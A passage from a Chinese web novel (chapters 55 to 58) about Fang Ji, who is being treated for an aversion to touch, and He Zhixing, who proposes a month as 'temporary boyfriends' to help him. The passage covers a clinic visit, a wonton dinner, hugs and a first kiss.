在方霁不容拒绝的命令之下, 贺知行最终还是没能跟上去,继续坐在医院冰冷的铁椅上,替他盯着显示屏上的数字。 科室的门打开, 从里面走出来一个穿着红白校服的少年。 身高目测在一米七左右, 很瘦,一截脚踝露在外边, 可以看到明显凸起的骨头, 神情木讷。 紧接着一名中年女人跟在他后面出来, 手上拿着张医院开出的病例单。 “什么抑郁症,就是太闲了胡思乱想。我们当年读书哪有这个条件, 每天还不是天不亮就起来,连公交都没有, 自己走路到好几公里外的学校上课。” “你们现在生活好了, 真是生在福中不知福, 居然要住院, 说得跟个绝症似的, 摆明就是想多赚我们的钱。” 中年女子推了推面前的少年,似乎希望他能给点反应, “我看你也没有哪里不舒服, 今天就先回去,下午不是还要回学校自习嘛。” 少年双眼低垂, 目光空洞望着地板,好似从内到外都已经被掏空,只剩下一副行尸走肉的躯壳。闻言, 迟缓地点了下头, 默不作声。 女人心疼今天花出去的钱,没想到这么点检查就花了上百块, 嘴里嘟哝了几句,随后半拉半拽地带着少年离开医院。“我可是特意请了半天的工陪你来医院检查,后面可要好好读书。你都这么大了,别再让妈妈替你操心。” “你知不知道我今天又给你花了多少钱?” “……” 女人的声音消失在电梯门关上的那刻。 贺知行收回视线,并未妄加评价,只是脑海中闪过贺鸿志那张怒不可竭的脸,时隔多年仍旧清晰,像是一段无法忘却的噩梦缠绕在心头,不时作恶。 方霁回来时排在他前面的患者已经听到叫号进去,他到贺知行身边坐下,顺便抬眼看了下显示屏。 贺知行不动声色地观察着他,自以为掩藏的很好,确定他脸色正常才将目光重新转回手机屏幕上。 一看,不知道误触到什么,原本的新闻日报早就不复存在,手机界面自动精准跳转到某宝,赤裸裸地展示着一件商品。 男性内裤,加大码。 方霁从一开始就注意到他对自己的观察,看到他盯着界面一愣的模样更是感到好笑,没说破,憋着笑低头刷了会手机。 十几分钟后,机械提示音响起,他听到自己的名字。 绝大多数医院都非常尊重患者的个人隐私,对于精神科这种特殊的科室更是,几乎都是一对一进行交谈,但如果患者坚持需要或者无法独自进行咨询流程,可以有一两名人员陪同进去。 方霁却没选择让贺知行陪同,只身推开门又关上。 科室上方的字样跟着一闪,变成了红色的“会诊中”。 医生先让方霁在电脑上做了两份心理问卷调查。方霁做了三分之一,发现与过去的题型大同小异,接下来那三分之二就做得颇为麻木了。 这种问卷他从小学到大学做了不下十遍,随着青少年心理问题的人不断曝出,各大学校愈发开始重视这一块,增设心理咨询室、心理课程等等,每年还有固定的心理调查流程。 他不太了解心理学这块,说实话他一直有一个困惑:这种问卷调查做多了,真的还能起到有效反应真实情况的作用吗? 主要是他感觉自己每回选的都大差不差,更别说选项还可以由患者自行调整,肯定有看穿后故意选的吧。 方霁点击提交,屏幕上并未立即显示结果。 “好了。” 医生点头。房间与隔壁是连通的,她起身走过去,刚好打印机也吐出两张纸质报告。 等医生简单看完结果,再回到座位上时,开始与他进行正式的对话交流- 排队加上咨询,两人几乎一下午都耗在了精神科。 等从医院出来,夕阳悄然染红了半边天幕。他们之间隔着段距离,但在斜阳拉长的剪影下,彼此的身影却奇妙地交叠在一起,在金色光辉的照耀下显得既朦胧又紧密相连。 方霁没说医院给出的结论,贺知行便也没急着问。 他说过,他会等到方霁真正愿意告诉他的时候。 看了眼时间,可以吃饭晚了。 “晚上想吃什么?”在休息厅等候的间隙,他已经给蓝书柳发过消息,说今晚大概率不会回去吃饭,让她不用费心忙活。 蓝书柳没在这件事上过多矫情,精心梳妆打扮一番,约了自己在晋城的好友,两人早就一块逛街去了。 她是个好母亲、好妻子,更是拥有独立灵魂的女性,拒绝成为传统框架下的牺牲者。她有着自己的事业、兴趣爱好和社交圈子,不愿意被局限在四方天地。 贺知行跟贺鸿志在这一点上倒是统一战线,支持她的所有决定,因为他们都深深爱着这个女人。 中午只喝了粥,这种炖得软烂的食物消化得很快,同样是碳水化合物和五谷杂粮,却不比大米饱提供的饱腹时间长。 方霁想了想,其实有点馋蓝书柳做的饭菜,明明不久前才吃过,却像是食髓知味一样,每一次回味都能激起舌尖上的渴望。 他也不知道为什么,或许真像他跟蓝书柳说的那样,她做的饭菜有一种家的味道。 这种味道并非源自于味蕾,更多是心灵深处的共鸣,犹如一股暖流,弥补了自十五岁以后内心深处的缺失。 可惜这份偷来的幸福感转瞬即逝,连一丝涟漪都无法留下。 蓝书柳和他无亲无故,没有义务为他料理三餐,更别说察觉到那份潜藏在他心中的羡慕。 黄昏的帷幕徐徐拉开,几缕阳光调皮地跳跃在方霁的发梢,金色的光芒与他的墨黑发丝相互映衬,如同一副过渡自然的油画。 他说:“有点想吃馄饨了。” 在休息厅时,听到一位父亲说要带儿子去吃他最喜欢吃的馄饨,于是某段记忆从被遗忘的角落钻出来,开始重新在方霁的心尖上扎根、萌发。 大学时期他经常吃学校食堂中一家的鲜肉馄饨,抛开究竟是不是手工现做不谈,分量挺足,味道好,以至于他对这道食物一直情有独钟。 最近一次吃是华拓山下来住院那次贺知行买给他的。 他没给他加辣椒,吃得不过瘾。 贺知行问他想吃哪一家的,他去开车。 现在自然不可能去学校吃,方霁另外报了个详细地址。 驾驶座启动,建筑如影,向后远去,轿车穿梭于城市的灯火阑珊,由闹市转入静谧,最终定在一条小巷入口前。 汽车无法深入巷内,两人在路边停好车,剩下的距离只能走进去。 季节更迭,晋城从冬眠中苏醒,春天的气息渐渐浓郁,绿意盎然,恍若画师不经意间倾泻的调色盘,为这座城市添上了生机勃勃的色彩。 狭长的巷弄两侧挤满各式各样的美食店面,散发着诱人的香气,烤串的烟雾与昏黄的灯光交错,犹如老电影中的场景。 方霁用余光看了一眼身旁高端大气上档次的贺总裁,又看了一眼略显拥挤平庸的巷道,十分不搭。 他突然后悔了,不应该不过脑子就把贺知行带来这里,就算是吃馄饨,也该挑一个好点的地方。 对方还当了他的免费司机,开了近四十分钟的车。 “算了,我们还是换个地方吃吧。”方霁停了下来,转过身就要往回走。 “为什么?”贺知行同样停下来,却没跟上他。 方霁用食指碰了碰鼻翼下方,挺不好意思的。他想吃馄饨是真的,忘了考虑贺知行的身份是否符合这里也是真的。 中午吃的止吐药影响力这么大吗? 似乎看穿方霁的顾虑,贺知行直接道:“我不介意在这里吃。” …… 方霁重新带着贺知行往巷子中深入,正值饭点,人流熙攘,即使是小巧的电动车穿行其间也异常艰难,四周响彻此起彼伏的鸣笛声,宛如一场繁忙的街头交响乐。 两人废了好一番劲终于走到目的地。 “这家店是我们公司保安室一名大爷的妻子去年新开的,两个人祖籍在外地,为了谋生才来晋城,平时赚的的钱勉强够养家糊口。等临近过年就回老家,跟同样在外地的子女团聚。” 店铺虽小,仅十余平米的空间,却处处透露着温馨与整洁。新春对联贴于门前,透过厚重的透明门帘,店内仅有六套桌椅,每一处都被打扫得纤尘不染,连瓷砖地面都反射出莹亮的光泽。 “老板,来两份鲜肉馄饨,一份多加辣,一份不加辣。”方霁掏出手机扫码支付,按价目单上的金额转账完毕。 “麻烦他那份改为少加辣。”贺知行在下一刻为他纠正道。 “为什么?”方霁不乐意了。 贺知行正色提醒他:“早上才输完液,你是想再折腾你的胃吗?” 要不是知道方霁无辣不欢,他不会同意给他沾一点,免得再去刺激那岌岌可危的胃。 方霁被堵得哑口无言。 陈大爷今日轮休,便来店里给妻子帮忙,正忙碌地登记顾客订单,突闻熟悉的声音,抬头一看,就对上方霁那张熟悉的面容。 “方总?”陈大爷先是惊讶,随即欣喜溢于言表。 “您怎么来了,这、这这……您应该早点告诉我,我好收拾一下,现在都没位置了。”店内坐满了客人,再往后的大都只能选择打包带走。 如果知道方霁要来,他肯定提前腾出空位招呼。 方霁结束与贺知行的对峙,温和一笑,他这样子与平日职场上的雷厉风行截然不同,显得平易近人。“就是馋您家的馄饨了。我看那边有一桌快结束了,我们等会就好。” 陈大爷道只好这样了。 不多时,有客人起身离去,陈大爷赶紧上前擦拭桌面,为二人整理出一方干净之地。 “谢谢,麻烦您了。” 落座不久,两碗冒着腾腾热气的馄饨由一位在店内打工的小伙端上来。 方霁拿起一双一次性筷子,看着面前的馄饨,隐隐觉得不对,份量上好像变得更多。细细一数,果不其然比价目单上标注的数量多出了五个。 再看对面贺知行碗里的,同样如此。 他回头望向陈大爷,后者正在不远处投来和蔼的目光,用手势示意他们享用。 方霁心头一暖,夹起一枚馄饨。它的大小刚刚好,薄薄的面皮包裹着丰满的肉馅,晶莹剔透中隐约可见肉质的诱人色泽,一口咬下,满足感油然而生。 随着最后一勺馄饨滑入腹中,两人走出巷子。贺知行发动汽车,驶向夜色渐浓的道路。 车内,一贯寡言的他率先打破了寂静:“你经常去那家店吃吗?” 方霁侧身坐在副驾,窗外的景致如画卷般展开,由先前的静谧小巷渐变为灯火辉煌的都市风貌。 “第一次吃是去年刚过完年没多久,陈大爷想感谢我之前开车送他回老家,后面就经常邀请我过来,说给我免单。” 他认为是举手之劳,每次吃前都坚持转了账过去。 “但我只来过三四回这样。” 倒不是嫌弃门店太小或者味道不好,而是这里的位置太远了,无论从他家还是公司,过来一趟都不方便。 前方路口即将拐弯,贺知行打下转向灯的同时问:“为什么选择带我来?” 方霁眸光一顿。 他不是一个喜欢将私生活与人分享的人,所以究竟为什么选择带贺知行过来? 只是单纯因为想吃馄饨吗? 夜风轻抚,他额前几缕碎发随之舞动,不经意间展露出一段光滑饱满的额头,更添几分清俊之姿。 月色映出他眼底的迷茫,方霁难言地抿了抿唇,“没什么特殊原因,就是觉得味道不错,和大学时期吃的接近。我看你以前也挺爱吃的馄饨,带你过来算是帮陈大爷他们揽一下客。” 贺知行不再问了。 他其实没有那么喜欢吃馄饨,大学时期会去吃只是因为方霁喜欢,这样他才能顺理成章地和他坐在一起用餐。 车辆在小区内缓缓停下,方霁收回杂乱无章的思绪,将视线转到贺知行身上。 男人拥有一副英挺的外表,眉宇间锋芒毕露,眼眸明亮如星辰。他那近乎无可挑剔的身形,即使穿着并不完全合身的衣物也无法掩盖其独有的吸引力。 他的双手搭在方向盘上,手指修长,每个关节分明,皮肤下微微凸显的青筋透露出健康与力量的迹象。 “贺知行,你说你喜欢我,是认真的,还是为了恶心我故意说的?” 第56章 第 56 章 “……您说您之前看过心理医生, 当初给出的治疗方案中有一项是系统脱敏疗法,请问您试过吗,效果如何?” “没试过。”方霁如实道, “我对人有抵触, 所有没有合适的对象来配合进行这项治疗方法。” 闻言,医生眉头微蹙, 略显意外, “那么, 陪您一同来的那位也不行吗?” 话语间,她轻轻转动屏幕, 使之面向方霁,简洁地解析起来。 原来这块显示屏连通着候诊区的摄像头, 它记录下了诸多病患的真实反应, 尤其针对初次就诊或被迫就医的患者, 往往在面对医生时会显露内心的不安与闪避, 甚至不愿配合, 难以进行沟通。 但在不经意的镜头捕捉下,人们的微表情与举止往往最为真切, 直接映射内心深处的情感波动和心理问题。 “请问, 这位先生是您的家人吗?”医生的目光落在屏幕中的身影上,试图洞察更多的信息。 “不是, 他是我的……”方霁语塞片刻,脑中快速筛选着恰当的称呼,最终选定“朋友”。 医生轻轻颔首, 微笑道:“据录像所示, 半小时前,您曾在休息区倚靠着这位朋友的肩膀休息, 这么看的话你们关系不错,至少您对他的心理排斥远没有您之前描述的那么强烈。” “也许,您可以征询一下这位朋友的意愿,试着配合你进行循序渐进的肢体接触。” 他对贺知行没有那么强烈的心理排斥? 直到此刻,方霁才幡然反应过来一个问题—— 是从什么时候开始,他对贺知行的态度开始改变的? 贺知行之前处处跟他作对,他不是最讨厌这个家伙的吗? “又或者,您不妨试试开启一段恋情。”- 漆黑模糊了周围,无数光影交错之下,万物皆褪去白日的色彩。 黑色轿车内仿佛形成一座与天地隔绝的孤岛,外部世界的嘈杂与繁嚣都被无形之力阻隔在外,只留下彼此的存在如此鲜明而清晰。 心脏的跳动愈发激昂,每一声搏击都似战鼓齐鸣,震撼着灵魂,似乎要挣脱胸膛的束缚。 方霁在问出口的下一秒就后悔了。 他一直觉得利用他人感情是件很卑劣的事,然而在刚才的某一瞬,一股莫名的冲动涌上心头,居然令他想将贺知行一同卷入这场漩涡之中。 是嫉妒贺知行拥有着他所没有的美满家庭,还是对方一次次在危机关头救了他后,相信这一次他也能将自己从深渊中拉出来? 思绪纷飞,方霁现在脑子乱得厉害,只知道要是再不走就来不及。指尖触及冰冷的门把,淡定一瞬崩塌,准备逃离这形同囚笼的狭小空间。 谁料贺知行的行动先他一步,车门随之锁死,发出清脆的响声。 他淡然开口,依然是那份云淡风轻,宛如屹立冰川万载的岛屿,静默中蕴含不可撼动的坚韧。“你不想听我的回答吗?” 话音落下,引擎戛然而止,车内灯光骤亮,照亮了彼此的脸庞。贺知行的眼眸深邃如渊,锐利且专注,犹如草原上食饱后悠然散步的雄狮,气势逼人,却又毫无攻击性。 方霁喉头干涩,像是被堵塞了一团棉花。 柔和的车灯之下,贺知行的脸庞如同雕刻师手中精致的艺术品,每一个棱角都散发着迷人的光泽。他的表情一如既往,未泛起一丝涟漪,即使是说话时语气依然保持平稳,没有丝毫加重或减弱。 但对上那张脸,方霁却心虚,他怀疑了贺知行在对待感情方面的认真程度。 贺知行的脾气已经不能用简短的好来形容了。 “我对你说过的每一句喜欢都是认真的,以前是,以后也会是。”他再次表明心意,态度诚恳无比。 “如果是我做了什么叫你产生这种误会的事,你可以向我提出。” 方霁说不上来,只是心底不是滋味,尤其回忆起在店内吃馄饨时。 他们桌对面坐着两名女生,自以为很小声地交谈着,随后拿出手机假装自拍。 可惜,没关后置镜头的闪光灯。 贺知行的五官线条分明,俊美刚毅,毋庸置疑会是许多女性心仪的对象人选。如果不是中途喜欢上了男人,肯定已经顺利结婚成家,兴许连孩子都有了。 咀嚼着心心念念的食物,方霁的心绪却变得沉重,最后一口馄饨失去了原本的味道,只觉索然无味,更是有了让对面女生删除照片的想法。 自从遇上贺知行,他的情绪起伏愈发频繁,现在还变得多愁善感。 他觉得自己挺没事找事的,刚才那句话也是,与他过去的行事风格大相径庭。 他厌恶这种无法掌控的感觉。 每当贺知行望向方霁,那瞳孔中倒映的世界似乎只剩下这唯一的主角,带着无尽的虔诚。 方霁在这样认真的目光注视下只觉浑身不自在,仿佛所有的秘密即将被揭露无遗。他僵硬地转移视线,用手掌半遮住发烫的脸颊。 “你没错,是我的问题。” “我多想了。” 贺知行的肩膀轻颤,继而传来细微笑声,似是长久压抑后的不经意泄露。 方霁的注意力被他重新吸引过来,凝视那弯起的眼角,不解地皱眉问道:“你笑什么?” 贺知行却话题跳跃,反问他:“要不要当临时男朋友?” “……”这句话砸得方霁脑子一懵,疑窦丛生,以为自己出现幻听。 为了打破他的怀疑,贺知行对着他重复了一遍,声音从嗓子眼里传开,低沉而真实。 “……男朋友还有临时的?”方霁终于开口,一脸错愕。 贺知行这是拿他当七天体验卡呢? 殊不知他却搞错了主次关系,不是贺知行拿他当体验卡,而是贺知行让他利用他。 “嗯,我帮你进行脱敏治疗。” 方霁的重心却在另一个点上,“你怎么知道我要进行脱敏治疗?” 这个问题盘旋在空气中,犹如清晨的薄雾,弥漫着一层神秘的面纱。他确实向贺知行透露过自己曾经看心理医生的事,但没有说具体是什么原因,包括治疗方案。 记忆中的那段日子黯淡且无力,他不喜欢服药,看着镜子中自己模样大变的时候,他吓了一跳,好比面对一个难以接受的陌生人。 贺知行说了在他昏迷期间遇到严宵的事情,那个时候他就查了一些关于治疗创伤后应激障碍的办法,最后确定系统脱敏疗法不仅能有效避免药物副作用,还在心理学术界获得了广泛认可。 “……你说你无法做到和人亲密接触,不如就利用我,试着和我接触开始。” 人类社会的本质在于连接,只要生活在群体中,就不可能完全摆脱与人的接触。 方霁努力维持与其他人的距离或许一时有效,但难保今后不会再发生像这次的突发情况。 “我希望和你一起将问题彻底解决。”这是贺知行第二次对他说这样的话。 车窗早在车辆停下的那刻自动升起,城市的嘈杂、人流的繁忙,一切纷扰都远去,只余二人置身于宁静的空间。 “条件呢?”方霁问,他知道贺知行不会做亏本的买卖。 事实上,这世上就不存在绝对的无私,每个人做的任何一件事都是带着目的性的,只是强与弱、好与坏的区别罢了。 “在此期间,我要你履行一个合格男朋友应尽的基本义务,对待其他人保持应有的界限。”贺知行单独强调道,“无论异性还是同性。” 少顷,方霁嗤地笑了,“我算是听明白了,你这是想趁此泡我是吧?” “嗯,我趁人之危。” 他承认的坦荡,“现在难得有一个合适的人选摆在你面前,你要尝试吗?” 与过去的每一次一样,他依旧将选择权交给方霁。 方霁挺想骂他不要脸的,但不可否认的是贺知行说的都是事实,他不能带着这个心理障碍生活一辈子,而过去,他一直缺乏一个合适的人选。 如果不是医生提醒他,他怕是永远不会注意到某些细节问题。 他反感与人的肢体接触,却被贺知行背过、靠在他身上睡着过,甚至在被他牵住手的那一刻,他的第一反应居然也不是恶心。 是因为每晚都会穿成贺知行的内裤,还是压根就没有把他当作人? 车外,是绚烂的城市之夜,车内,是被拉长的寂静时光。 “一个月。” “就按你说的,我们各取所需,你协助我克服心理障碍,我答应当你的……”方霁顿了顿,有些艰难地说出“临时男朋友”五个字,为了强调,他刻意咬重了“临时”。 贺知行答应得很快。他知道这一个月转瞬即逝,他们之后可能重新回到原先的关系,但对他来说无论是怎样的利弊大小,都是值得的。 这一个月,不仅是帮方霁进行脱敏治疗的一个月,也是他可以完全占有方霁、对他进行正式追求的一个月。 “我可以和其他人保持距离,但是在感情方面,我没法保证像你一样付出。如果你有其他条件可以跟我提,能力范围内的我会尽量满足。” 贺知行犹豫片刻,将视线转向他。 他的目光太过炽热,方霁从没觉得一个人能够如此好懂。 “上床不行。” “别想着得寸进尺,你要不乐意就算了。我下半辈子还有那么长时间,哪怕没有你,我照样可以去找其他人。” 从知道贺知行几乎每晚都打手枪开始,方霁在这方面就没多少难以提起的羞耻心了。 贺知行则是觉得这是满足人类需求的正常行为,更是没什么好掩饰或耻于表达的,否则当时在医院表白时,他也不会直截了当地告诉方霁自己经常幻想着他那张脸。 “现在快把车门打开,待会真给你闷死在这里。” 贺知行按下了对应开关。 方霁这回顺利开门下车。 贺知行跟着一起下去,迈着双笔直的长腿绕至他正前方,道:“今天先抱一下?” 第57章 第 57 章 夜色旖旎, 月光透过稀疏的树梢,撒下斑驳陆离的银纱。 方霁站在小区的林荫道上,神情抗拒, “你疯了?现在还在外面, 待会给人看见了怎么办。” 贺知行告诉他这附近没人,而且一个月的时间很短、很宝贵, 应该坚持每天练习。 “今天马上过去了, 我们只剩下现在的见面时间。” 方霁心中暗自嘀咕, 他就没见过这么心急的人。可是话音未落,贺知行便跨步向前, 双臂张开,毫不犹豫地将他拥入怀中。 方霁的第一反应是想要挣脱, 手已经抬起来, 紧紧抓上了贺知行的手臂, 那一片衣服变得皱巴巴。 “坚持一下, 等你在心底数到十我就放手。”贺知行用半安抚半诱哄的语气道。 明明声音的主人没变, 但当距离拉近,它变成了一种触感, 温暖而湿润, 贴着方霁的耳后根传来,带来不一样的感受。 两人的身高相差无几, 贺知行仅仅比他高少许,这让他们的拥抱看起来有些奇特,不存在人们常在影视作品中见到的那种显明身材差异营造的浪漫与依赖。 尤其主角是两个男人, 方霁估计毫无美感可言。 “不行, 你现在就放开我。”方霁还是担心被人看到,这里是居民区, 就算没有行人往身边经过,难保不会有人通过阳台注意到这边。 “这里很黑,看不见的。”他们站在道路边,左右两侧停着车辆,近乎三分之二的身形被遮挡住。 贺知行将他抱得很紧,好似要与他嵌为一体。“十秒而已,快点数完我就能放开你了。” 方霁实在拗不过他,只能妥协,将脸靠近贺知行的肩侧,面部下压,开始计数。 一、二…… 尽管整个身体仍然保持着僵硬,未有完全倚靠,但仍能嗅到对方带着体温的气息,那是洗衣液留下的余香,混合着衣物纤维独有的质地感,干净、清爽。 稍微偏头,还能捕捉到贺知行性感的嘴唇、棱角分明的下巴,以及突出的喉结,一切都散发着浓郁的男性魅力。 随着时间流逝,方霁在心里默默地数着,然而直到十,贺知行却没如约放开他。 起初方霁以为自己数得太快,贺知行或许跟不上。但当他数到二十时,贺知行还是没松手,终于意识到事情的不对劲。 “到底还要抱多久,不是说数到十就放开?我这都数到二十几了。” 就算贺知行数的比他慢,也不可能对时间的概念差到这种程度,除非他没有数,或者根本就是故意的。 贺知行回答淡然:“嗯,只是我想看看你究竟能坚持多久。” 这句话犹如点燃方霁情绪的导火索,他用力挣脱了贺知行的桎梏,“你他妈的,耍我很好玩是吧!” 贺知行却似乎并未受到丝毫影响,他轻声道:“早点上去休息吧。” 温柔的语气与方霁的怒气形成鲜明对比,“如果想再抱一会也可以。” 这番话让方霁更加恼火,转身便走,头也不回。 贺知行目送着方霁进入大楼,直到电梯门关上的那一刻,他才启动车辆离开- 从口头签订“临时男友”协议的那天起,贺知行每天都会抽空来见方霁,履行他答应的事。 开始几次他们的交往仅限于牵手和拥抱,随着天数的增加将时间逐渐延长,每一天都比前一天多出十秒。 方霁也尽可能满足贺知行的要求,陪他吃饭,晚上一起到江边走走。 方霁看过别人谈恋爱,觉得挺甜蜜的,有不少令他羡慕的爱情故事,但等到了自己身上,才真正明白什么叫做看起来简单做起来难。 可能最主要的是他没想过自己会真的谈恋爱,尤其对象是一个同性,这种感觉复杂而难以言表。 贺知行的分寸感把握得很好,正如他在商业领域中的进退得当与游刃有余一样,他的行为举止总是恰到好处,方霁在与他的相处过程中没有感觉到太多不适。 除了牵手,贺知行有些不分场合,经常不顾周围的视线就伸过来,方霁时常躲都躲不及。 好像需要脱敏治疗的不是他,而是贺知行自己有皮肤饥渴症。每次牵手的时间不长,次数却很频繁。 “你都不看看这里是哪就牵吗?” “我们不是情侣吗?”贺知行似乎忘记了他们之间的协议是“临时”的,大脑内自动剜除他们是各取所需的事,将原本交易的性质换了层核心。 他的行为举止越来越像一个热恋中的情人,方霁几次试图提醒他保持清醒,不要投入过多的感情,以免在一个月后分手时尴尬收场。 可转念一想,贺知行都说喜欢了他十一年,估计感情早就超越了交易的范畴,陷得不能再深,他提醒也没用,正如你永远不可能叫醒一个装睡的人。 算了,就当是帮他了却一个执念。 “是。”方霁到底没有挑破事实,“但也麻烦贺大总裁注意区分一下场合好吗?现在是大街上。” 贺知行或许真的不在乎其他人的眼光,对于他而言,无论是喜欢一个同性还是异性,那都是喜欢。 方霁却做不到他那么坦荡。 随着教育水平的提高,同性恋在二十一世纪社会不再是暗昧之事,但毕竟不是国家法律所接受的恋爱观,就这样牵手走在路上,难免会引来周围人或好奇或惊讶的目光。 仿佛他是只马戏团内供人观赏的猴子。 自从说过一次之后,贺知行就变得收敛许多,他尊重方霁的意愿,不会故意去做令他厌恶的事。 许多个恍惚的瞬间,方霁有种回到大学的错觉,那时候他们的关系称得上要好,不过不是现在这种临时男友的好,而是纯兄弟的铁。 当然,只有他一个人是这么觉得。 …… 转眼,到了蓝书柳登机飞往国外那天,贺知行和方霁一块去送她。 蓝书柳的行李不多,所有东西加在一起也就一个手提包和一只22寸的行李箱。 那只手提包还是前几天蓝书柳跟好友逛街时,在一家专卖店买的。 蓝书柳其实自己有独立的银行卡,但她那天却少见地刷了贺知行给她的那张。 贺知行看到手机上几万块的消费短信时,非但没有生气,反倒很愿意母亲花自己的钱购买心仪的物品,毕竟在蓝书柳生日那天他没能送上什么。 他是记得蓝书柳的生日的,想过提前准备,蓝书柳却让他别送,说自己现在什么都不缺,等想要礼物的时候她会亲自讨要,不会因为他是她儿子就手下留情。 贺知行便只能作罢,说好,让她可以刷自己的卡。 繁忙喧嚣的国际机场,人群如潮水般涌动,每个人都在忙碌地奔向各自的目的地。 蓝书柳站在其中,今日仍旧是一身旗袍装扮,她的身影显得格外慈祥,眼角的细纹藏着岁月的温柔。她望向方霁,眼中闪过一抹带着复杂的不舍,随即提出了一个请求:“小方,我可以抱一下你吗?” 贺知行听到这话,心头一紧,几乎是本能地迈出一步,站到了两人之间。 蓝书柳的手停在空中,脸上露出不解和好笑,“知行,你这是做什么呢?放心,我也会给你一个抱抱的。” 贺知行本想解释些什么,在脑海中反复推敲后,只吐出一句简短而干瘪蓄的话:“他不喜欢和人抱。” 在国内的文化背景下,拥抱和亲吻脸颊常常被视为较为亲密的行为,而在国外则视为正常的社交礼节。 蓝书柳对方霁的事毫不知情,她以为是因为自己的行为可能会让他感到不舒服,脸上略显尴尬,“原来是这样啊,真是我考虑不周……” 这时,方霁从后面走上来,主动拥抱着蓝书柳,打断了她的歉意:“阿姨,您别听他瞎说,您愿意和我亲近是我的荣幸。” 蓝书柳先是一怔,随后笑容绽放,她轻轻地拍着方霁的后背,欣慰地说:“还是小方好,我果然最喜欢你了。” 上一次拥抱长辈太过遥远,以至于方霁都快忘了具体时间以及当时的感受,只留下一片模糊的影子。但在被蓝书柳回抱住的那刻,久违的温馨再次涌上心头,他发现自己竟是如此的怀念。 蓝书柳不是他的母亲,他们相处的时间只有短短几天,他却不可思议地从蓝书柳身上感受到了一种亲情。 他是真的羡慕贺知行。 贺知行在一旁注视着两人的行为,将方霁的身体语言尽收眼底。 蓝书柳没有忘记贺知行,她在拥抱了方霁后转向自己的亲生儿子,同样给了他一个拥抱。 贺知行静静接受着母亲温暖的怀抱,时隔多年,依旧记得蓝书柳在这一天对他说过的话。 “妈妈老了,你也长大了,有自己的想法了。这几天我思考了很久,你如果有什么想做的事情,就去做吧,妈妈只希望你能快乐。”- 两人走出机场大厅,迎面而来的是都市的繁华与喧嚣,四周高楼大厦矗立,霓虹灯初现。 方霁想起方才贺知行为自己紧张的模样,带着些无奈:“其实你不用替我绷着根神经。放心好了,和阿姨抱一下真的没关系,就算她要在我脸上亲一口都没问题。” 贺知行瞥了一眼方霁在微微颤抖的指尖,没有选择戳破。 从开始脱敏治疗到今天其实才过去两日,如果这个心理障碍真那么好突破的话,方霁就不会在六年后还有那么强烈的应激反应。 那天被吓到的不仅是刘叉。 他坐在车中,目睹着方霁的身体因剧烈的应激反应而颤抖,鲜血自他的体内吐出来。那一刻,他感觉自己的心脏都被人剖了出来,疼痛深入骨髓,深深地烙印在他的脑海里,挥之不去。 他绝对不会想再经历第二次。 轮胎与柏油路面摩擦发出细微而有节奏的声音,贺知行驾车行驶在熟悉的道路上,方霁坐在副驾位上。 少顷,贺知行的声音轻轻响起:“那我呢?” “什么你呢?”方霁一脸疑惑,显然还没从刚才的话题中抽离。 贺知行见他是真想不起来了,只好亲口提醒他:“之前你答应过我的,再次见面的时候允许我亲你。” 听到这里,方霁的脸颊隐隐燥热,心中既有羞恼,也有不服气。 没想到他再过几个月就三十岁的人了,居然还会被贺知行用这么低级的手段摆一道。 他想起那天的事,倏然抓住了文字漏洞,“你也说了是再次见面的时候,就是第二次,现在距离我们在你家见面已经过去好几次了,不能算‘再次’。” “是你自己错过了机会,不能怪我。” 不就是比不要脸吗,他方霁就没在什么事情上怕过。 “……”贺知行不说话了。 今晚的路程异常寂静,直到车子停靠在方霁居住的小区,贺知行始终未发一言。 通常这个时候,贺知行总会提出一些小小的要求,比如拥抱一下,或者至少说一声再见。 方霁握住车门把手,作势欲下,动作夸张,足以引起身边人的注意。他一只脚已跨出门外,另一只还留在车内,侧面投射的光影勾勒出他清晰的轮廓。 他微微侧头,用余光观察着身后的人。 发现贺知行就跟个被定住的木头人似的,眼睛直勾勾地盯着前方的花坛,神情专注。 “真生气了?”方霁将迈出去的半条腿重新收了回来,转身看向对面坐得笔直暗自较劲的人。 “没有。”回答简短,无法从中得出任何情绪波动。 “那为什么不敢看我?” 他了解贺知行的性格,冷漠寡言,而且在某些事情上特别固执。尤其是这种时候,就如同青春期的孩子跟家长赌气,倔强且不轻易低头。 哦对,还有闷骚,一件事能在心底憋到带进骨灰盒一起火化那种。 “好吧,是我的不对,我不该食言,可以了吧?”方霁很少和人道歉,话音中带着明显的生硬与勉强。 贺知行闻言,眼神微动,似乎有些意外,但很快恢复了平静:“你没错,是我在无理取闹。” 方霁:“……” 沉默再度降临,方霁深吸一口气又吐出。 他真的很不喜欢冷暴力和吵架,这两种行为对于解决问题没有一点帮助,吵嬴了是关系破裂,吵输了是窝一肚子火。 “待在车上别动。”说完,他解开安全带,下了车,绕到驾驶室一侧,打开了车门。 贺知行不明所以,直到方霁催促他转头。 “别看了,花坛里没有什么好看的,看着我。” 第58章 第 58 章 方霁心想不就是两唇一碰, 只要速度够快的话也不是不行,总好过贺知行继续摆着一副小怨夫样。 孤零的路灯洒下柔和而朦胧的光辉,恰好照亮了方霁站着的位置。他的身影在灯光下被拉得颀长, 因为背对着光源, 五官轮廓显得更为硬朗,发丝随微风轻摆, 增添了几分不羁的气息。 他伸出一只手按住了贺知行的肩头, 似乎下定了某种极大的决心, 没有言语,没有迟疑, 低下头,将自己的唇快速印在了贺知行的唇上。 这个吻十分短暂, 如同流星划破夜空, 转瞬即逝。 方霁收回身, 再度站直, 光影交错中他的身影又恢复了那份高傲的气质, 好似什么都没发生一样。 “傻了?”他问,发现贺知行仍旧一错不错地盯着他, 连眼睛都不带眨一下的。 本来还有那么点羞耻, 但在看到贺知行像是没反应过来的神情,又莫名恼怒。 他可不包售后服务。 “你说要亲我也亲了, 走了,今后这事就翻篇。” 贺知行再有动作时完全出乎方霁的意料,只见一只大手朝他伸过来, 肌肤表面呈现健康的小麦色, 指甲修剪得干净整齐,隐约可见的静脉勾勒出手腕至指尖的力量感。 没一会, 落在他的后脑勺,一股不轻不重的力道压了下来。 方霁甚至都没来得及转身,与男人之间的距离便再度缩短,那张俊朗的脸庞在瞳孔中不断放大,最后微微仰起脸,重新吻了上来。 受制于身上安全带的限制,贺知行有一半身体还在驾驶座上,跨出车门的那条腿鞋尖与方霁的相抵,像是同样接了一个悠长的吻。 方霁懵住了,没想到贺知行会来个回马枪。 两人的气息交织在一起,宛如夜风中摇曳的烛火,缱绻而暧昧。 贺知行凝视着方霁,手掌逐渐下滑到他的后颈,最上边几根手指顺势陷入柔软的发丝间。 被触碰着的地方仿佛有一股电流炸开,顺着神经传遍全身。那里同样是方霁的敏感地带,他下意识躲避,反引得贺知行将他按得更紧。 